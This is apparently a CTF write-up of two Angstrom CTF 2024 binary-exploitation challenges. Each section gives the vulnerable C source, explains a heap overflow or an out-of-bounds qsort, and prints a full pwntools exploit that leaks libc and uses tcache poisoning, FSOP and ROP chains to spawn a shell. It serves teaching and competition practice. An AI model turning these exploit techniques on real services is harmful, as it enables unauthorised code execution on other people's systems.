# Angstrom CTF 2024 I joined this competition with my team G.0.4.7 last weekend. I tried hard and nearly cleared all the challenges. Here are my writeups of some challenges. ![image](https://hackmd.io/_uploads/Bk9Kj2G4A.png) ## Heapify ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define N 32 int idx = 0; char *chunks[N]; int readint() { char buf[0x10]; read(0, buf, 0x10); return atoi(buf); } void alloc() { if(idx >= N) { puts("you've allocated too many chunks"); return; } printf("chunk size: "); int size = readint(); char *chunk = malloc(size); printf("chunk data: "); // ---------- // VULN BELOW !!!!!! // ---------- gets(chunk); // ---------- // VULN ABOVE !!!!!! // ---------- printf("chunk allocated at index: %d\n", idx); chunks[idx++] = chunk; } void delete() { printf("chunk index: "); int i = readint(); if(i >= N || i < 0 || !chunks[i]) { puts("bad index"); return; } free(chunks[i]); chunks[i] = 0; } void view() { printf("chunk index: "); int i = readint(); if(i >= N || i < 0 || !chunks[i]) { puts("bad index"); return; } puts(chunks[i]); } int menu() { puts("--- welcome 2 heap ---"); puts("1) allocate"); puts("2) delete"); puts("3) view"); } int main() { setbuf(stdout, 0); menu(); for(;;) { printf("your choice: "); switch(readint()) { case 1: alloc(); break; case 2: delete(); break; case 3: view(); break; default: puts("exiting"); return 0; } } } ``` **Bugs: Heap overflow** in `alloc` We have three options: `alloc`, `view`, `free`. - `Alloc` will malloc a size based on our input - `View` will print the chunk's content - `Free` will free our desired chunk (no uaf as the pointer is reseted to `NULL`) ### Read primitive Our target is to make two indexes contain the same chunk. Here I can overwrite the adjacent chunk's size. So I will overwrite it to a larger size and setup it carefully to bypass valid chunk check in malloc. Then, free the large chunk, which will overlap with some below chunks. Then malloc it again so we will have a similar large chunk in two indexes. Free an index and read another index. Leak libc, then free the large chunk, after that malloc again with a smaller size, free it, and you will put that chunk into tcachebin. It's easy to leak heap ### Write primitive Tcache poisoning to write into `tcache_perthread_struct`. As such, fill the tcache entry with `stdout`, then use `FSOP` to change `stdout->vtable` to a valid I used setcontext to pivot stack and ROP. I have mentioned this technique in some of my old challenges. You can find and read it again. **Final script:** ```py from pwn import * e = context.binary = ELF("./heapify") l = ELF("./libc.so.6") r = e.process() #r = remote("challs.actf.co", 31501) def a(size: int, data: bytes): r.sendlineafter(b'your choice: ', b'1') r.sendlineafter(b'size: ', str(size).encode()) r.sendlineafter(b'data: ', data) def d(idx: int): r.sendlineafter(b'your choice: ', b'2') r.sendlineafter(b'index: ', str(idx).encode()) def v(idx: int): r.sendlineafter(b'your choice: ', b'3') r.sendlineafter(b'index: ', str(idx).encode()) def enc(a, b): return p64(a ^ (b >> 12)) a(0x10, b'A') a(0x50, b'A') # 1 a(0x50, b'B') # 2 a(0x410, b'C') # 3 a(0x70, p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21)) # 4 a(0x70, p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21)) d(1) a(0x50, p64(0) * 11 + p64(0x4a1 + 0x80)) d(2) a(0x50, b'A') v(3) l.address = u64(r.recv(6) + b'\0' * 2) - l.sym.main_arena - 96 log.info(f'Libc: {hex(l.address)}') a(0x20, b'A') d(8) v(3) heap = (u64(r.recv(5) + b'\0' * 3) << 12) - 0x1000 log.info(f'Heap: {hex(heap)}') a(0x480, b'D') #pause() a(0x288, b'A') a(0x288, b'B') a(0x288, b"C") d(12) d(11) d(10) a(0x288, b'\0' * 0x288 + p64(0x291) + enc(heap + 0x10, heap + 0x1b40)) rdi = l.address + 0x000000000002a3e5 ret = rdi + 1 system = l.sym.system bin_sh = next(l.search(b'/bin/sh')) setcontext = l.sym.setcontext + 61 pl = b'\0' * 0x68 + p64(setcontext) pl = pl.ljust(0xa0, b'\0') pl += p64(heap + 0x2118 - 0x2030 + 0x1b40) pl += p64(ret) pl = pl.ljust(0xe0, b'\0') pl += p64(heap + 0x1b40) pl += p64(rdi) + p64(bin_sh) + p64(ret) + p64(system) a(0x288, pl) stdout = l.sym['_IO_2_1_stdout_'] stdin = l.sym['_IO_2_1_stdin_'] a(0x288, p16(1) * 64 + p64(stdout) * 20) fp = p64(0) fp += p64(stdout + 131) * 7 fp += p64(stdout + 132) fp += p64(0) * 4 fp += p64(stdin) fp += p64(0x1) + p64(0xffffffffffffffff) fp += p64(0x000000000000000) + p64(l.address + 0x21ba70) fp += p64(0xffffffffffffffff) + p64(0) fp += p64(heap + 0x1b40) # set _IO_wide_data of stdout in order to bypass _IO_wfile_overflow check fp += p64(0) * 3 + p64(0x00000000ffffffff) fp += p64(0) * 2 fp += p64(l.sym['_IO_wfile_jumps_mmap'] + 24 - 0x38) pause() a(0x148, fp) r.interactive() ``` ![image](https://hackmd.io/_uploads/SJKwRhGVC.png) ## Stacksort: ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define N 0x100 size_t readint() { char buf[0x10]; int cnt = read(0, buf, 0xf); buf[cnt] = 0; return strtoul(buf, 0, 10); } int cmp(const void *a, const void *b) { size_t v1 = *(size_t*)a; size_t v2 = *(size_t*)b; if(v1 < v2) return -1; else if(v1 > v2) return 1; return 0; } int main() { setbuf(stdin, 0); setbuf(stdout, 0); size_t items[N]; for(int i = 0; i < N; i++) { printf("%d: ", i); items[i] = readint(); } qsort(items, N*2, sizeof(size_t), cmp); cmp(stdin+8, stdout+8); } ``` **Bugs: items is a size_t array of 0x100 elements, but `qsort` sorts 0x200 elements -> `Stack buffer overflow`** ### Read primitive Set breakpoint at the last instruction of `main` to see if we have something interesting. ![image](https://hackmd.io/_uploads/Hy9-xpzVR.png) As we can see, `rdi` is `main_arena + 1248`, which points recursively to another `main_arena` address. Using printf, leaking libc is absolutely easy. We cannot return to main, as it makes our stack spraying not successful, as there are many values left behind after calling `printf` or `qsort`. So, the right path is to pad the stack with `ret` gadget. Then, `printf@plt` to leak libc. But how can we return effectively? Below the return address of `main`, `_start` gadget exists and we can take advantage of it. `_start` makes our stack spraying succeed in a higher rate, since sometimes `main` will crash due to stack alignment. ### Write primitive. We cannot put ROP in a traditional way, as gadgets are going to be sorted, and we can't return it normally. So how? If you remember, after `ret` in `main`, `rdi` is pointing to a writable area. Therefore, `gets` after `ret` is a perfect option. After `gets`, `rax` will contain our written buffer. ![image](https://hackmd.io/_uploads/ByvZGTGER.png) `libc` contains various gadgets with a form `call qword ptr [rax+??]`. So if we want to set an effective ROPchain, I come up with an idea of using `setcontext`, but to execute `setcontext` properly, `rdx` must be set. ![image](https://hackmd.io/_uploads/rJCTz6GNR.png) After searching gadgets for a while, I see one satisfying my conditions. **Final script:** ```python from pwn import * e = context.binary = ELF("./stacksort") r = e.process() #r = remote("localhost", 5000) #r = remote("challs.actf.co", 31500) l = ELF("./libc.so.6") ret = 0x000000000040101a printf = 0x4010a0 add_rsp = 0x0000000000401016 main = e.sym.main ret2 = 0x0000000000401104 for i in range(0x81): r.recvuntil(f'{i}: '.encode()) r.sendline(str(add_rsp).encode()) r.recvuntil(b'129: ') r.sendline(str(ret).encode()) r.recvuntil(b'130: ') r.sendline(str(printf).encode()) pause() for i in range(0x83, 0x100, 1): r.recvuntil(f'{i}: '.encode()) r.send(b'999999999999999') l.address = u64(r.recv(6) + b'\0' * 2) - l.sym.main_arena - 1232 log.info(f'Libc: {hex(l.address)}') og = l.address + 0x10d9ca gets = l.sym.gets ret = l.address + 0x10d7bb system = l.sym.system bss = l.address + 0x21b988 rax = l.address + 0x0000000000045eb0 mov_rdx_ptr_rax = 0x1136df + l.address ret = l.address + 0x46bae setcontext = l.sym.setcontext + 61 rdi = l.address + 0x000000000002a3e5 bin_sh = next(l.search(b'/bin/sh')) rsi = 0x000000000002be51 + l.address rdx_r12 = l.address + 0x000000000011f2e7 execve = l.sym.execve for i in range(0xd3): r.recvuntil(f'{i}: '.encode()) r.send(str(ret).encode()) r.recvuntil(b'211') r.send(str(gets).encode()) for i in range(0xd4, 0xd8, 1): r.recvuntil(f'{i}: '.encode()) r.send(str(mov_rdx_ptr_rax).encode()) for i in range(0xd8, 0xe0, 1): r.recvuntil(f'{i}: '.encode()) r.send(str(bss).encode()) pause() for i in range(0xe0, 256, 1): r.recvuntil(f'{i}: '.encode()) r.send(b'999999999999999') pause() pl = b'\0' * 0x88 + p64(setcontext) pl = pl.ljust(0xa0, b'\0') pl += p64(l.sym.main_arena + 1496) pl += p64(ret) + p64(l.sym.main_arena + 1248) pl += p64(ret) * 10 + p64(rdi) + p64(bin_sh) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0) * 2 + p64(execve) r.sendline(pl) r.interactive() ```